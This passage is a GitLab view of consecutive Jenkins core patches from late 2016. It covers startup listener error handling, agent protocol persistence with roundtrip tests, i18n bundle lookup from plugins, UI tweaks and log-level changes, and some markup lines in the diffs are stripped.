        Warning! This release is not recommended for use due to -- GitLab From 5e5ba7b8aa2fbec2da47871f5cf2134734a21528 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 8 Nov 2016 10:47:02 +0100 Subject: [PATCH 299/712] Fix URL --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e6ceb9a4a9..7939e12c84 100644 --- a/changelog.html +++ b/changelog.html @@ -77,7 +77,7 @@ Upcoming changes

        What's new in 2.29 (2016/11/06)

        Warning! This release is not recommended for use due to - issue 39555 + issue 39555 and issue 39414. We are working on the out-of-order release (discussion).

        -- GitLab From 7e8ea4a967057c3fc9ae4dc72028f780d9fa39e1 Mon Sep 17 00:00:00 2001 From: Jonathan Fuentes Date: Sat, 17 Sep 2016 21:41:14 -0700 Subject: [PATCH 300/712] [FIXED JENKINS-36539] (#2495) (cherry picked from commit fbb4dc05b5122d9ba09419c60a2a6092e675e7a8) --- war/src/main/js/add-item.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/war/src/main/js/add-item.js b/war/src/main/js/add-item.js index 22338ece65..7156144471 100644 --- a/war/src/main/js/add-item.js +++ b/war/src/main/js/add-item.js @@ -107,7 +107,6 @@ $.when(getItems()).done(function(data) { btn.removeClass('disabled'); btn.prop('disabled', false); } - btn.focus(); } else { if (!btn.hasClass('disabled')) { btn.addClass('disabled'); @@ -233,7 +232,7 @@ $.when(getItems()).done(function(data) { $("#add-item-panel").find("#name").focus(); // Init NameField - $('input[name="name"]', '#createItem').blur(function() { + $('input[name="name"]', '#createItem').on("blur input", function() { if (!isItemNameEmpty()) { var itemName = $('input[name="name"]', '#createItem').val(); $.get("checkJobName", { value: itemName }).done(function(data) { -- GitLab From b10440702f74c70786820bdf38d417569d86644d Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 5 Nov 2016 21:42:20 +0400 Subject: [PATCH 301/712] [FIXED JENKINS-38487] - Jenkins startup must not fail in the case of ComputerListener failure (#2610) Without this code Jenkinbs startup fails if EnvInject fails to find global property file on startup. Javadoc says "Exceptions will be recorded to the listener. Note that throwing an exception doesn't put the computer offline." regarding the listener method exception, hence we should not block Jenkins startup (cherry picked from commit 58e1228c99fd3d5063b0967d7780dc536bc2c463) --- .../java/hudson/slaves/ComputerListener.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 24 +++++++++++++++---- .../test/java/jenkins/model/JenkinsTest.java | 19 +++++++++++++++ 3 files changed, 39 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ComputerListener.java b/core/src/main/java/hudson/slaves/ComputerListener.java index c2e4dc1f70..b166a6c40d 100644 --- a/core/src/main/java/hudson/slaves/ComputerListener.java +++ b/core/src/main/java/hudson/slaves/ComputerListener.java @@ -143,7 +143,7 @@ public abstract class ComputerListener implements ExtensionPoint { * Starting Hudson 1.312, this method is also invoked for the master, not just for agents. * * @param listener - * This is connected to the launch log of the computer. + * This is connected to the launch log of the computer or Jenkins master. * Since this method is called synchronously from the thread * that launches a computer, if this method performs a time-consuming * operation, this listener should be notified of the progress. diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index b25fbe2cc0..3a3a89c45a 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -957,11 +957,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve updateComputerList(); - {// master is online now - Computer c = toComputer(); - if(c!=null) - for (ComputerListener cl : ComputerListener.all()) - cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + {// master is online now, it's instance must always exist + final Computer c = toComputer(); + if(c != null) { + for (ComputerListener cl : ComputerListener.all()) { + try { + cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + } catch (Throwable t) { + if (t instanceof Error) { + // We propagate Runtime errors, because they are fatal. + throw t; + } + + // Other exceptions should be logged instead of failing the Jenkins startup (See listener's Javadoc) + // We also throw it for InterruptedException since it's what is expected according to the javadoc + LOGGER.log(SEVERE, String.format("Invocation of the computer listener %s failed for the Jenkins master node", + cl.getClass()), t); + } + } + } } for (ItemListener l : ItemListener.all()) { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 936e1ae977..27528d2e04 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -42,6 +42,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlPage; import hudson.maven.MavenModuleSet; import hudson.maven.MavenModuleSetBuild; +import hudson.model.Computer; import hudson.model.Failure; import hudson.model.RestartListener; import hudson.model.RootAction; @@ -51,6 +52,7 @@ import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; import hudson.security.HudsonPrivateSecurityRealm; import hudson.util.HttpResponses; import hudson.model.FreeStyleProject; +import hudson.model.TaskListener; import hudson.security.GlobalMatrixAuthorizationStrategy; import hudson.security.LegacySecurityRealm; import hudson.security.Permission; @@ -70,6 +72,7 @@ import org.kohsuke.stapler.HttpResponse; import org.mockito.ArgumentCaptor; import org.mockito.Mockito; +import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; @@ -452,4 +455,20 @@ public class JenkinsTest { assertThat(rsp.getContentAsString(), containsString("Node is offline")); assertThat(rsp.getStatusCode(), equalTo(404)); } + + @Test + @Issue("JENKINS-38487") + public void startupShouldNotFailOnFailingOnlineListener() { + // We do nothing, FailingOnOnlineListener & JenkinsRule should cause the + // boot failure if the issue is not fixed. + } + + @TestExtension(value = "startupShouldNotFailOnFailingOnlineListener") + public static final class FailingOnOnlineListener extends ComputerListener { + + @Override + public void onOnline(Computer c, TaskListener listener) throws IOException, InterruptedException { + throw new IOException("Something happened (the listener always throws this exception)"); + } + } } -- GitLab From f80c59ab3daae29d8a0b9e92af2d6ebc5cca1497 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Sun, 2 Oct 2016 09:15:56 -0700 Subject: [PATCH 302/712] [JENKINS-38651] Display actions created through TransientActionFactory in label view (cherry picked from commit 8d55b1f555194be546152a972294f0a64a052da9) --- core/src/main/resources/hudson/model/Label/index.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/Label/index.jelly b/core/src/main/resources/hudson/model/Label/index.jelly index 931d7932df..10b239fd63 100644 --- a/core/src/main/resources/hudson/model/Label/index.jelly +++ b/core/src/main/resources/hudson/model/Label/index.jelly @@ -36,7 +36,7 @@ THE SOFTWARE. - + -- GitLab From 936091b42c425abc2a0afbcb5b7e49497eff3e95 Mon Sep 17 00:00:00 2001 From: gusreiber Date: Sun, 9 Oct 2016 23:19:37 -0700 Subject: [PATCH 303/712] [JENKINS-35263] displaying codeMirror as table to fix page sizing (#2575) (cherry picked from commit 67df10db2d4e0620ba4e7fde399c4340d39604b6) --- core/src/main/resources/lib/form/textarea/textarea.css | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 core/src/main/resources/lib/form/textarea/textarea.css diff --git a/core/src/main/resources/lib/form/textarea/textarea.css b/core/src/main/resources/lib/form/textarea/textarea.css new file mode 100644 index 0000000000..71300ae0e3 --- /dev/null +++ b/core/src/main/resources/lib/form/textarea/textarea.css @@ -0,0 +1,5 @@ +td.setting-main .CodeMirror { + display: table; + table-layout: fixed; + width: 100%; +} \ No newline at end of file -- GitLab From d2514bbe0816a6bb2e00588d5fb4d577054319bb Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Sun, 16 Oct 2016 01:59:06 +0200 Subject: [PATCH 304/712] [FIXED JENKINS-31871] Properly handle single quotes in item names (#1943) (cherry picked from commit bee66ede31d45b9d0814e4a45cbf2223585817e2) --- core/src/main/java/hudson/util/FormValidation.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/util/FormValidation.java b/core/src/main/java/hudson/util/FormValidation.java index 4c52f19b6d..c6dddca183 100644 --- a/core/src/main/java/hudson/util/FormValidation.java +++ b/core/src/main/java/hudson/util/FormValidation.java @@ -638,7 +638,7 @@ public abstract class FormValidation extends IOException implements HttpResponse */ public String toStemUrl() { if (names==null) return null; - return jsStringEscape(Descriptor.getCurrentDescriptorByNameUrl()) + '/' + relativePath(); + return Descriptor.getCurrentDescriptorByNameUrl() + '/' + relativePath(); } public String getDependsOn() { -- GitLab From 47a1682d8e0feb4eda4f399348fa02b33aaf1316 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:07:40 +0100 Subject: [PATCH 305/712] [JENKINS-39465] - Fix the AgentProtocol settings persistency handling (#2621) * [JENKINS-39465] - Tweak processing of enabled and disabled protocols in Jenkins instance Due to whatever reason, without a definition of an array recipient field the data goes to the disk in the following way: ``` JNLP3-connect JNLP4-connect ``` It is supposed to processed by Implicit array correctly, but it does not actually happen. With a fix the data is being stored in another format: ``` JNLP3-connect JNLP4-connect ``` This data now works correctly and gets deserialized correctly. readResolve() just adds a fallback for the case when Implicit array handling starts behaving correctly (?). * [JENKINS-39465] - Add configuration roundtrip tests * [JENKINS-39465] - Jenkins#agentProtocols cache must be invalidated when we reload the configuration * [JENKINS-39465] - Remove obsolete comment from Tests (cherry picked from commit 3e2e01717976a1f1221874bfd576429c5c48b8a6) --- core/src/main/java/jenkins/model/Jenkins.java | 24 +++- .../test/java/jenkins/model/JenkinsTest.java | 121 ++++++++++++++++++ 2 files changed, 143 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 3a3a89c45a..5e034b3ffb 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -616,6 +616,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List disabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _disabledAgentProtocols; /** * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. @@ -625,6 +630,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List enabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _enabledAgentProtocols; /** * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols} and @@ -1009,6 +1019,16 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (SLAVE_AGENT_PORT_ENFORCE) { slaveAgentPort = getSlaveAgentPortInitialValue(slaveAgentPort); } + if (disabledAgentProtocols == null && _disabledAgentProtocols != null) { + disabledAgentProtocols = Arrays.asList(_disabledAgentProtocols); + _disabledAgentProtocols = null; + } + if (enabledAgentProtocols == null && _enabledAgentProtocols != null) { + enabledAgentProtocols = Arrays.asList(_enabledAgentProtocols); + _enabledAgentProtocols = null; + } + // Invalidate the protocols cache after the reload + agentProtocols = null; return this; } @@ -5023,8 +5043,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // for backward compatibility with <1.75, recognize the tag name "view" as well. XSTREAM.alias("view", ListView.class); XSTREAM.alias("listView", ListView.class); - XSTREAM.addImplicitCollection(Jenkins.class, "disabledAgentProtocols", "disabledAgentProtocol", String.class); - XSTREAM.addImplicitCollection(Jenkins.class, "enabledAgentProtocols", "enabledAgentProtocol", String.class); + XSTREAM.addImplicitArray(Jenkins.class, "_disabledAgentProtocols", "disabledAgentProtocol"); + XSTREAM.addImplicitArray(Jenkins.class, "_enabledAgentProtocols", "enabledAgentProtocol"); XSTREAM2.addCriticalField(Jenkins.class, "securityRealm"); XSTREAM2.addCriticalField(Jenkins.class, "authorizationStrategy"); // this seems to be necessary to force registration of converter early enough diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 27528d2e04..8e88f7f0e3 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -25,7 +25,10 @@ package jenkins.model; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.greaterThan; import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.hasItem; +import static org.hamcrest.Matchers.not; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertEquals; @@ -75,6 +78,12 @@ import org.mockito.Mockito; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; +import org.junit.Assume; /** * @author kingfai @@ -471,4 +480,116 @@ public class JenkinsTest { throw new IOException("Something happened (the listener always throws this exception)"); } } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have additional enabled protocol", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 1)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least one protocol is enabled", defaultProtocols.size(), greaterThan(0)); + + final String protocolToDisable = defaultProtocols.iterator().next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really refreshed", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled one protocol", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 1)); + assertThat(protocolToDisable + " must be disabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + Assume.assumeThat("We assume that JNLP4-connect is disabled", + defaultProtocols, not(hasItem("JNLP4-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + newProtocols.add("JNLP4-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + assertThat("JNLP4-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP4-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have two additional enabled protocols", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 2)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP4-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least two protocol should be enabled", defaultProtocols.size(), greaterThan(1)); + + Iterator iterator = defaultProtocols.iterator(); + final String protocolToDisable1 = iterator.next(); + final String protocolToDisable2 = iterator.next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable1); + newProtocols.remove(protocolToDisable2); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable1 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled two protocols", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 2)); + assertThat(protocolToDisable1 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + } } -- GitLab From 2b39a3839b9eb0c9ce18c9579cfc5f32979a2a88 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 4 Oct 2016 12:40:25 +0200 Subject: [PATCH 306/712] [FIX JENKINS-38615] Add user to restart log message (cherry picked from commit 4462eda829944a39f2ddfdab607d7105be8aface) --- core/src/main/java/hudson/model/UpdateCenter.java | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index ed1915e53d..16100a7727 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -30,6 +30,7 @@ import hudson.Functions; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.ProxyConfiguration; +import hudson.security.ACLContext; import jenkins.util.SystemProperties; import hudson.Util; import hudson.XmlFile; @@ -1365,6 +1366,11 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas @Exported(inline=true) public volatile RestartJenkinsJobStatus status = new Pending(); + /** + * The name of the user that started this job + */ + private String authentication; + /** * Cancel job */ @@ -1378,6 +1384,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas public RestartJenkinsJob(UpdateSite site) { super(site); + this.authentication = Jenkins.getAuthentication().getName(); } public synchronized void run() { @@ -1386,7 +1393,10 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas } status = new Running(); try { - Jenkins.getInstance().safeRestart(); + // safeRestart records the current authentication for the log, so set it to the managing user + try (ACLContext _ = ACL.as(User.get(authentication, false, Collections.emptyMap()))) { + Jenkins.getInstance().safeRestart(); + } } catch (RestartNotSupportedException exception) { // ignore if restart is not allowed status = new Failure(); -- GitLab From 500cefddbca6135cbeab922b9998070f2db5daa5 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Wed, 9 Nov 2016 00:25:50 +0100 Subject: [PATCH 307/712] [FIXED JENKINS-39604] - ResourceBundleUtil#getBundle() should report resource misses on the low level I propose the FINER level. --- core/src/main/java/jenkins/util/ResourceBundleUtil.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index edf8de5fab..b2eee336ab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -114,7 +114,7 @@ public class ResourceBundleUtil { return ResourceBundle.getBundle(baseName, locale, classLoader); } catch (MissingResourceException e) { // fall through and return null. - logger.warning(e.getMessage()); + logger.finer(e.getMessage()); } return null; } -- GitLab From 5588df315d28e7f97c6fa57679e43f443baf5081 Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Wed, 9 Nov 2016 09:36:52 +0100 Subject: [PATCH 308/712] Add @since on Util.isSafeToRedirectTo() --- core/src/main/java/hudson/Util.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index e85b9a1592..4b56102bd5 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -1598,6 +1598,7 @@ public class Util { /** * Return true iff the parameter does not denote an absolute URI and not a scheme-relative URI. + * @since 2.3 / 1.651.2 */ public static boolean isSafeToRedirectTo(@Nonnull String uri) { return !isAbsoluteUri(uri) && !uri.startsWith("//"); -- GitLab From 643442a4804e2275ae674d34c7982f33b72c58b8 Mon Sep 17 00:00:00 2001 From: Lee Lavery Date: Wed, 9 Nov 2016 14:07:55 +0000 Subject: [PATCH 309/712] [JENKINS-39172] - Add viewport meta tag (#2626) * Add viewport meta tag Enables better responsiveness on mobile devices * fix: Use self-closing tag * Remove minimum-scale for best accessibility * Add viewport meta tag --- core/src/main/resources/lib/layout/layout.jelly | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/resources/lib/layout/layout.jelly b/core/src/main/resources/lib/layout/layout.jelly index dbab66d4f3..2050d18c2a 100644 --- a/core/src/main/resources/lib/layout/layout.jelly +++ b/core/src/main/resources/lib/layout/layout.jelly @@ -153,6 +153,7 @@ ${h.initPageVariables(context)} + -- GitLab From 288a66dfabac0a31ce799cc3eaf285dc801cd668 Mon Sep 17 00:00:00 2001 From: Thorsten Scherler Date: Sat, 22 Oct 2016 12:21:56 +0200 Subject: [PATCH 310/712] [FIX JENKINS-35845] Internationalisation for Blue Ocean and JDL (#2586) * Load i18n resource bundles from plugins if not found in jenkins core Signed-off-by: Thorsten Scherler * Issue 404 response for missing i18n resource bundles Currently issues a 200 with an "error" response payload. This change still issues the error response payload, but also sets the HTTP response. Signed-off-by: Thorsten Scherler * [JENKINS-35845] Fix test since we return now a 404 * [JENKINS-35845] add test for getting locale from plugin. fix comments from oleg. * [JENKINS-35845] Fix description * [JENKINS-35845] Update PR with comments from Oleg * [JENKINS-35845] Add feedback from tom * eslint - formating changes and fix offences * eslint - formating changes and fix offences * [JENKINS-35845] remove code concerning 404 response. Fix resourceBundle test by prevent NPE to happen * [JENKINS-35845] Link to issue on which we introduced the test (cherry picked from commit ab16e52519260c0e9398f15256ed8061a4c00bf0) --- .../main/java/hudson/util/HttpResponses.java | 1 + .../java/jenkins/util/ResourceBundleUtil.java | 47 ++++++++++++++++++- test/src/test/java/jenkins/I18nTest.java | 21 +++++++-- 3 files changed, 65 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/util/HttpResponses.java b/core/src/main/java/hudson/util/HttpResponses.java index 511a3f20e0..ccef89059e 100644 --- a/core/src/main/java/hudson/util/HttpResponses.java +++ b/core/src/main/java/hudson/util/HttpResponses.java @@ -29,6 +29,7 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import javax.servlet.ServletException; import java.io.File; diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index a62c3fa772..edf8de5fab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -27,12 +27,16 @@ import net.sf.json.JSONObject; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import hudson.PluginWrapper; +import java.util.logging.Logger; import java.util.Locale; import java.util.Map; import java.util.MissingResourceException; import java.util.ResourceBundle; import java.util.concurrent.ConcurrentHashMap; +import jenkins.model.Jenkins; /** * Simple {@link java.util.ResourceBundle} utility class. @@ -42,6 +46,7 @@ import java.util.concurrent.ConcurrentHashMap; @Restricted(NoExternalUse.class) public class ResourceBundleUtil { + private static final Logger logger = Logger.getLogger("jenkins.util.ResourceBundle"); private static final Map bundles = new ConcurrentHashMap<>(); private ResourceBundleUtil() { @@ -72,7 +77,23 @@ public class ResourceBundleUtil { return bundleJSON; } - ResourceBundle bundle = ResourceBundle.getBundle(baseName, locale); + ResourceBundle bundle = getBundle(baseName, locale, Jenkins.class.getClassLoader()); + if (bundle == null) { + // Not in Jenkins core. Check the plugins. + Jenkins jenkins = Jenkins.getInstance(); // will never return null + if (jenkins != null) { + for (PluginWrapper plugin : jenkins.getPluginManager().getPlugins()) { + bundle = getBundle(baseName, locale, plugin.classLoader); + if (bundle != null) { + break; + } + } + } + } + if (bundle == null) { + throw new MissingResourceException("Can't find bundle for base name " + + baseName + ", locale " + locale, baseName + "_" + locale, ""); + } bundleJSON = toJSONObject(bundle); bundles.put(bundleKey, bundleJSON); @@ -80,6 +101,30 @@ public class ResourceBundleUtil { return bundleJSON; } + /** + * Get a plugin bundle using the supplied Locale and classLoader + * + * @param baseName The bundle base name. + * @param locale The Locale. + * @param classLoader The classLoader + * @return The bundle JSON. + */ + private static @CheckForNull ResourceBundle getBundle(@Nonnull String baseName, @Nonnull Locale locale, @Nonnull ClassLoader classLoader) { + try { + return ResourceBundle.getBundle(baseName, locale, classLoader); + } catch (MissingResourceException e) { + // fall through and return null. + logger.warning(e.getMessage()); + } + return null; + } + + /** + * Create a JSON representation of a resource bundle + * + * @param bundle The resource bundle. + * @return The bundle JSON. + */ private static JSONObject toJSONObject(@Nonnull ResourceBundle bundle) { JSONObject json = new JSONObject(); for (String key : bundle.keySet()) { diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index a934422532..5f2da8e793 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -23,6 +23,7 @@ */ package jenkins; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import net.sf.json.JSONObject; import org.junit.Assert; import org.junit.Rule; @@ -31,6 +32,7 @@ import org.jvnet.hudson.test.JenkinsRule; import org.xml.sax.SAXException; import java.io.IOException; +import org.jvnet.hudson.test.Issue; /** * @author tom.fennelly@gmail.com @@ -49,9 +51,22 @@ public class I18nTest { @Test public void test_baseName_unknown() throws IOException, SAXException { - JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); - Assert.assertEquals("error", response.getString("status")); - Assert.assertTrue(response.getString("message").contains("com.acme.XyzWhatever")); + try { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); + } catch (FailingHttpStatusCodeException e) { + Assert.assertNotNull(e); + Assert.assertTrue(e.getMessage().contains("com.acme.XyzWhatever")); + } + } + + @Issue("JENKINS-35270") + @Test + public void test_baseName_plugin() throws IOException, SAXException { + // ssh-slaves plugin is installed by default + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=hudson.plugins.sshslaves.Messages").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("The launch timeout must be a number.", data.getString("SSHConnector.LaunchTimeoutMustBeANumber")); } @Test -- GitLab From e0bfe6ee79b516f6c496a035d2ed6e644ee92fa9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Wed, 9 Nov 2016 00:25:50 +0100 Subject: [PATCH 311/712] [FIXED JENKINS-39604] - ResourceBundleUtil#getBundle() should report resource misses on the low level I propose the FINER level. (cherry picked from commit 500cefddbca6135cbeab922b9998070f2db5daa5) --- core/src/main/java/jenkins/util/ResourceBundleUtil.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index edf8de5fab..b2eee336ab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -114,7 +114,7 @@ public class ResourceBundleUtil { return ResourceBundle.getBundle(baseName, locale, classLoader); } catch (MissingResourceException e) { // fall through and return null. - logger.warning(e.getMessage()); + logger.finer(e.getMessage()); } return null; } -- GitLab From 8533fb628c2bfcda14b0ec7466ada87c95e08c45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 10 Nov 2016 11:55:17 +0100 Subject: [PATCH 312/712] Skip irrelevant test --- test/src/test/java/jenkins/model/JenkinsTest.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 8e88f7f0e3..e20d7f9a48 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -64,6 +64,7 @@ import hudson.slaves.DumbSlave; import hudson.slaves.OfflineCause; import hudson.util.FormValidation; +import org.junit.Ignore; import org.junit.Rule; 